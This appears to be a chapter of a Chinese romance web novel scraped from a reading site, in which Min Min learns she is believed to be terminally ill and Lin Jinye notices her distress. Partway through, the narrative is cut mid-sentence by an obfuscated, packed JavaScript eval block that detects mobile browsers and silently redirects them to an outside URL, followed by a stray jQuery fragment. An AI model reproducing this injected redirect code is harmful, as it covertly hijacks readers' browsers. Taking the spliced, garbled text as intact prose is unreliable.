闵敏收了单悦菀的拜帖,按照拜帖上约定的地点到了城南一家染坊中。
染坊后院中挂满了染布,明媚的阳光落在上面,照得每种颜色都十分鲜艳、活泼。
“闵敏?”单悦菀姗姗来迟。
“你来了?”
“嗯......”
往常两人见面都是轻松惬意的,但不知为何,单悦菀今日的神色很是紧张,闵敏一眼便看了出来。
“你怎么了?发生了什么事?”闵敏好奇问。
单悦菀握在身前,双手紧攥,似是在犹豫什么。
这染坊离城中热闹处很远,没有人会来打扰,所以她才选了这里见面。
“你......你近日身子如何?”
闵敏有些莫名,同时也有些警觉起来——又是问身子......不仅林府中人与秦见君,连单悦菀都关心她的身子......
“你是不是知道什么?”闵敏正色道。
单悦菀蹙眉,眼神闪躲起来。刚从闵金环那里听说闵敏身患绝症时,她心中便觉得难受,照理说闵敏该是她的情敌,但闵敏的赤诚热情又深深吸引她,以至于听闻了关于她不好的消息,第一反应竟不是高兴,而是难过......
闵敏脸上的好奇不加掩饰,单悦菀心中忽然有了一个猜测——闵敏似乎并不知晓自己的身体情况......
自己的身子自己必得清楚的,于是单悦菀直言道:“你不知道你自己身患绝症吗?”
“啊?”闵敏傻眼了,什么叫“身患绝症”?是她想的那个意思吗?
可是她完全不觉得自己身体有什么大问题啊......除了有点低血糖,抵抗力也稍微差了点......
闵敏站在原地消化了半天,仍是有些不敢相信单悦菀说的话,但反观林府众人与秦见君的反应,分明就是都知道此事的样子......
“你是怎么知道的?”闵敏抬头望向单悦菀。
单悦菀揪了揪手中的帕子,上前两步靠近了闵敏,轻声道:“前几日有个妇人来寻我,说是你的亲生姑姑,她知晓你的秘密......”说到这儿,她忽然顿了顿,见闵敏没有要怪罪的意思,才继续道,“我同她见了一面,知晓了此事。”
“有什么证据吗?”闵敏还是不太相信。
“那妇人说,有张庞大夫的医嘱可证,这医嘱眼下就在林府,你可回去费心找找。”
闵敏揣着这个大心事回了林府,闵团去书院了,林近野出门忙生意,连林骈都有私事离了府,简直是闵敏翻找医嘱的大好时机。
她先在自己屋子转了一圈,而后又摸到了林近野书房。
书房里的书册和信太多,她看得头昏眼花,最后总算从书架顶层的一套书册里找到了那张医嘱。
医嘱是上午找到的,闵敏是下午从书房出来的。
在桌前枯坐良久,她感觉腿都麻了。
小芸见她从书房出来,忙迎上前道:“少夫人,厨房还温着饭菜......”
话音未落,只见闵敏摆了摆手,神色恹恹,似乎连说话的力气都没有了,脸都苍白了好几个度。
“我出去一趟,林近野问起来,你就说我跟单小姐出去吃饭了......”
小芸点点头,担忧地跟在闵敏身后,目送她出了府。
这件事对闵敏的冲击很大,首先是周围所有人都知道,只有她这个当事人被蒙在鼓里;其次是绝症这种东西天然让人感到害怕;最后,这件事太“突然”了,她几乎没有心理准备,其实仔细回忆起来,种种迹象都指向她身体有问题,只是她没敢往这方面想......
她思前想后,最后决定跟同样不知情、且关系不远不近的汤晓暮说这件事——她太需要一个人当做倾诉对象了。
可才到成衣铺子门口,便听到汤晓暮在同林骈说话,她只好落寞地转身走开。
卫杭街上一切如常,牌匾不一的铺子都正开门迎客,百姓们进进出出好不热闹。也有注意到闵敏的百姓同她打招呼,她也只是扯着嘴角露出难看的笑一一回应。
街角的乞儿挨挤在一处取暖,露出来的皮肤上全是才开始愈合的冻疮。
闵敏忽然有点想哭——这算什么呢?
她从A市来到大荆,摆脱了孤苦无依的生活,有了闵团、荀馨、林琰......还有林近野。眼下明鲜楼的事就快解决,待她南下游玩回来,便能回到楼里去继续赚钱,她数过的,现在的存款够她带着闵团出林府开个小脚店。
可现在算什么呢?如果她真的得了绝症,那闵团要怎么办?荀馨、林琰和林近野会难过吗?
明明有了家人,生活也有了奔头,怎么会这样呢?
林近野刚忙完手头的事,林骈就带着消息来找他了。
“官府告示已张贴,还了少夫人清白,不少百姓都喊着让少夫人重回明鲜楼。”
这是个好消息,但林骈说这话时的语气太过激动,引得林近野忍不住多看了他几眼。
林骈收到林近野的目光,顿时将嘴角压了压——林近野同闵敏的关系看起来还不算亲密,自己还是别在他面前提自己与汤晓暮的事了......
“这几日让人盯着告示,必要时说几句话,别叫有心之人三言两语带偏了百姓。”
“是。”林骈应声,心中想着还是林近野想得周到。
“先前说的新架构实施得如何了?”林近野累得揉了揉眉心,闭着眼问。
“顺利。”林骈答道,“从下个月起,少爷就不用每日盯着铺子与账簿了,按地域划分雇佣的掌柜都已熟悉了手中负责的产业。”
距离下个月只有两天了,林近野忍不住叹了口气——总算能歇歇了。
“下个月我要带闵敏南下,铺子的事都交给你统管。”
“是。”林骈应下。
林近野感到浑身轻松,想起自己许久没有消耗体力了,于是打算散步回府,没想到在路上遇见了单悦菀。
天将黑时,街道两旁的铺子都点上了灯笼,单悦菀正在明鲜楼中饮酒,透过窗户看见了林近野。
“林哥哥。”
林近野走至窗前,并不打算进楼里去。
单悦菀看出来了,虽心中难过,却还是开口问他:“闵敏如何了?”
“什么如何了?”林近野反问道,闵敏今日是要赴单悦菀的约的,眼下来看两人似乎散了,单悦菀又这么问,难道是两人之间生了什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707745|169209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫌隙?
其实单悦菀告诉闵敏绝症之事后便后悔了,林近野是何其聪明之人,怎会不知道“自己的身子自己要清楚”的道理呢?
单悦菀想起自己告诉闵敏她身患绝症后,闵敏的脸色瞬间变白了,人也看起来有些惊疑颓然——她不该说的,活人也要给吓死了。
“没、没什么......”看林近野的脸色,单悦菀预感自己若是说了实话,怕是要惹大祸,于是急忙止住了话头。
林近野见她不欲多说,他也不追问,只点点头离开。
他回府时闵敏也才刚回去。
闵敏在城中转了一大圈,时不时便能遇见相熟的客人,各个都同她提起劣质食材告示之事,恭喜她名声清白,还约定待她回了明鲜楼,便要去捧她的场。
她一一回应了,只是心中想着,自己大约是不会回明鲜楼了......
“闵敏?”林近野见闵敏有些失魂落魄地在后院徘徊,便上前喊住她。
闵敏回头,看见林近野便忽然想起自己生病那几次,他紧张得不行,日夜守在她床头。
“林近野......”闵敏的声音有点哑,“谢谢你......”
林近野眉头微微蹙起,正要继续问,却见闵敏脸色不好,情绪也低落得很,他只好换了个话题。
“我手头的事安排得差不多了,下个月可启程南下,你这几日可以开始收拾行李了。”
原本要出远门玩,又是去看新食材,闵敏是很高兴的,但想到自己时日无多,她便觉得更加难过了。
“嗯......”闷闷应了一声,她慢吞吞转身要走,却被林近野轻轻拉住了小臂。
“你怎么了?身子不舒服?”林近野的脸上写满了担忧。
闵敏忽然觉得眼眶有点酸——他明明早就知道自己的身体状况了,为什么还要告白?这其中有多少爱慕,又有多少同情呢?
她眼中的悲伤太浓,林近野看得心惊,忍不住开始猜测单悦菀究竟做了什么,能让闵敏这么乐观的小娘子难过成这样......
怕林近野看出端倪,闵敏深吸了口气,稍稍提起精神道:“我没事,就是今天出去走了好多路有点累,你刚刚说收行李是吧?我会收的。”
“你......”话还未说出口,闵敏已经转身离开了,林近野望着她的背影,眉头愈发深了。
闵敏连晚饭都没胃口吃,只关了房门独自闷在屋子里。
林近野还是第一次遇到这种情况,有些懵,也有点慌,思前想后,他决定去问问单悦菀。
“单小姐回虔渊州了。”
“什么?”林近野抬头看向林骈。
“听说是天黑后离开的观宏州。”
天黑后?林近野想起自己见到单悦菀时才刚天黑,她那时正在明鲜楼喝酒,哪里有要远行回虔渊州的模样?
“去查查单悦菀这几日都接触过什么人。”
“是。”林骈领命。
闵敏在床上躺了很久,脑子里漫无边际地想了许多事,甚至想过她在棺材里躺着是不是也用这个姿势......
“笃笃。”门口响起敲门声。
“闵敏?睡了吗?”是林近野的声音。